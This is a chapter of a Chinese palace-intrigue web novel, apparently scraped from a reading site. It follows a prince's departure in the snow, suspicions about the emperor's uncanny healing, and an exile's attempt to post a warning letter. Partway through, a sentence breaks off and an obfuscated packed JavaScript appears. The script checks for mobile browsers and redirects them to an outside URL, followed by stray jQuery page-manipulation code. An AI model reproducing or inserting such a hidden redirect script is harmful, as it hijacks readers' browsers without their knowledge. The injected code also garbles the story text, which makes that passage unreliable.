赫连玺离京的那天,天空飘着鹅毛大雪,不仅马车裹上银装,就连骆驼们长长的睫毛上也承接着一道道晶莹剔透的冰珠。
道别的日子早就定下来了,所以赫连敏早早地就来宫门口送行,她双眼含泪,单薄的身子在风雪之中犹如一道无助的浮萍。
她殷切地拉住赫连玺的手,轻轻为他拂去肩上的落雪:“到了夜郎,好好保重,莫要担心我。”
见她这副模样,赫连玺鼻尖一酸,忙不迭地点点头:“阿姊珍重,我在夜郎等你回来。”
一撇头,在远处,他又看见了那个身影。在漫天大雪的白茫茫中,硬是不容分说地闯入这点墨色,似乎永远在隔岸观火,永远运筹帷幄。
恍惚间,他好像又看见那个男人在转动着手上的龙纹玉扳指,那物什似乎对他非常重要,自己讨要几次都没能入手把玩。
说来也奇怪,他常常出入宫中,也不少遇见叶少虞在阿姊宫内,那扳指他是片刻也不得离身的,甚至有次阿茵不慎将茶水洒到他手上,忙着擦洗时也不曾脱下。
而且那玩意似乎也有点邪性,他不知道是不是自己眼花,总觉得隔了一阵再见时,扳指总是焕然一新,样子终归有些不同。
但叶少虞显然不是他可以妄加揣测的对象,光是人远远站在那里,也能感受到一股隐隐的威慑之意。
待到他们一行人走后,叶少虞终于走上前,对着失魂落魄的赫连敏说道:“他已经长大许多,料想此次回去应该会成长起来,不再任人玩弄于股掌之间。”
他这番话虽成功让赫连敏止泪,却也忍不住埋怨道:“你这人真是热心且无情。”
冷眼看穿,热心相助,她真有点看不透了。
叶少虞却仿佛跟没有听见她的话似的,只是盯着那一行艰难行进的车马,目光透着点冷意。
他只是想提点赫连玺一二,但这些日子的相处下来,他觉得这家伙有些聪明过头了,居然敢试探到他头上。
马车上,阿勇往温冷的置火盆里丢了一块炭,本来奄奄一息的火苗顷刻间又沸腾起来,车厢内也开始回温。
他朝手心哈了口气,搓了搓有些冻僵的双手,本想试试赫连玺手里的暖炉还热不热,却发现后者正盯着桌角一脸呆滞。
“世子?”阿勇在他面前挥了挥手。
赫连玺这才猛然回过神来,神情有些不自然:“怎么了?”
“您在想什么,这么入神。”
阿勇把他手里冷掉的暖炉拿来,往里面也喂了一小块炭,确保炭热了再塞回去。
“你说有没有一种可能,有人伤过了跟没伤一样,或者痊愈的速度异于常人?”
赫连玺犹豫不决地说出口,看着阿勇不可置信的眼神,又立马反驳自己道:“算了,我也不知道自己在说什么。”
“痊愈的速度快倒是合理,说不定背后有医术高明的人出力,”阿勇凑在置火盆旁,一边烤火,一边认真地回答他的问题,“但是要说伤了跟没伤一样,不是这个人特别能忍,就是体质异于常人恢复的快,总不能是什么自我疗愈、起死回生一类的邪术吧。”
赫连玺认同地点点头,但是还是没能完全打消心中的疑虑。
那日他分明看到沈无双从养心殿的方向走来,袖摆下还染了一点血迹。
如果说那血迹是叶少虞的,可是那日他们分明有目共睹,柳慰云用了大量的药外敷,显然已经把出血给控制住了,他昏迷在床又不能动弹,不可能把伤口挣开。
若说沈无双干了什么伤害叶少虞的事,他却依然恢复得很快,快到柳慰云都啧啧称奇,况且以他锱铢必较的性子,居然没有责拿沈无双,真是个怪事。
这两人身上肯定有古怪。虽然他们曾出手相助,但是如果胆敢伤到阿姊,他拼尽全力也会与他们同归于尽。
赫连玺的眼里闪过一丝微不可察的决绝。
*
夷州城内,贺兰决穿着一身老旧的衣服,悄悄隐在人群里走动。
这件衣服是他花了两个铜板从石场的其他伙夫那买的,不仅破旧而且十分宽大,正好能遮住他瘦削的体型。
边关早早下起了小雪,今日石场休息,他出来的有些久了,雪水早就浸湿了磨损的衣领,平添几分凉意。
他摸了摸胸口,感受到那封信的存在才安心下来。
因为已近年关,街上越发热闹起来,市集小物、异域奇珍应有尽有。
在茫茫人海中,他的脑海里又不禁浮现起那日的情形。
诏狱里,一名眼熟的禁军带着身着黑色斗篷的叶少虞进来,看起来费了一番心思乔装。
贺兰决看到来人本是不屑,便故意拿话刺他:“陛下若是来找我讨要账本,恕无奉告,任由陛下杀之剐之。”
怎料叶少虞却不为所动,居高临下地看着他,浅色的眼睛里映着灯火的冷晕:“朕不想杀你。”
贺兰决闻言冷笑一声,俊朗的面容逐渐扭曲:“陛下自然不想杀我,您要看我苟延残喘,在您脚底下卑微膝下才好。”
怎料叶少虞并不理会他的蛮缠。
直到贺兰决的怒火被那双浅瞳里的寒意一点点消退,他才不急不忙地开口道:“你有没有想过,自己可能恨错了人?”
贺兰决沉默不语,撇过头去,以此来表示自己的抗议。
叶少虞反倒是难得对他有耐心起来,步步诘问:“是谁一直在故意加深你对我的仇恨?”
“是谁设计让你在爆炸那晚被贼喊捉贼,祸水东引?”
“是谁一直在对账本耿耿于怀?”
一连串的诘问下来,让贺兰决的心都凉了半截,整个人都浑浑噩噩。
“朕是天子,要杀你还要搞那么大动静?朕可不在乎什么名声,”叶少虞冷漠地将他无所遁形的惶恐尽收眼底,“反而,有人越是自卑,越是视那好不容易挣来的点滴名声为圭臬。”
是啊,他其实一直被沈练故意往叶少虞的方向引,甚至沈练还没有具体说什么,自己倒先义无反顾地恨上了。
一直到见到阿姊,听她痛骂以后,他的理智才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245453|197875||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渐渐收拢回来。原来从一开始,沈练接近他就是有目的的,他如此害怕账本,大抵是因为账本上有他的姓名。
或许,就连父亲也只是沈练的一颗棋子,正如阿姊说的那样,废了的棋子只有死路一条。至于他多次死里逃生,一直以为是叶少虞在其中搞的鬼,可如今看来,不过是沈练一直在借刀杀人罢了。
没错,就连前几日的山崩也是有迹可循的,他后面摸回山体,发现了大量的硝石,去问卫参将也只得了一句“夷州本就盛产硝石”这样轻飘飘的回复。
硝石是火药的原料,那京城爆炸的源头,是否也来自于夷州?
沈练在夷州发迹,那这一切,如果都是他主导的……贺兰决不敢细想他背后的居心。
一路思虑着,贺兰决走了好一会才来到城驿,这里是收寄各种信件、物资的地方,他要把这封信送到阿姊手里,教她不要白白被沈练利用了才好。
进了城驿,里头站了许多人,大部分都是士兵和劳役,年关将至,他们要往家里捎去信件,顺便要些用品。
贺兰决随意挑了个位置排着,却眼尖地看见前面的人信件和包裹都被一一拆开查看。是了,他忘记这里是边关,对于书信来往尤其敏感,生怕泄露城防机密。
贺兰决如今不敢随便相信别人,况且是在沈练的老地盘上,指不定哪些家伙就是他的亲信。于是他兜紧了衣服,从人群中缓缓退了出去。
“站住,”检查信件的人觉得他的行为有些古怪,让旁边的人将他拦下,“你不是来寄信的,怎么会来这里,若是来寄信的,又为何会害怕检查,你到底藏了什么东西?”
夷州地接夜郎和乌丸,夜郎因为赫连敏入质倒还安稳些,可是乌丸却因地物稀薄,越是接近年关便越是肆扰,一直为夷州人所痛恨。
眼看着满屋子的人都用一脸敌意的表情看着他,贺兰决进退不得,要是打起来,数量悬殊之下他肯定是不能全身而退的。
眼见着前面几人已经开始摩拳擦掌,贺兰决一边后退,一边缓慢地弯下身子——他曾在山崩之时趁机藏下一根楔子,绑在小腿上作防身之用。
“且慢——”
就在这剑拔弩张的时候,外头巡逻的一队官兵突然冲了进来,将驿站围得水泄不通。
为首的汉子长得人高马大,足足比旁人高了两个头,身形也是一等一的魁梧,走过来便好像一座移动的山。
他威严的眼神掠过在场众人,轻松就把那股子愤恨压了下去。
只见汉子走到检查者的面前,从怀里拿出一块令牌,那些人的脸色立马变了,赶紧退到后面去不再吭声。
汉子从鼻息里哼了一声,转而走到贺兰决面前,又变得礼貌起来:“公子,我家大人有请,请随我去府上。”
贺兰决默不作声地直起身,他来这里的大半个月都是在石场里埋头苦干,很确定自己不认识什么大人。
但是眼下正是处境尴尬的时候,这位大人倒是给了他一个逃脱的机会,所以也只能应着头皮应道:“好。”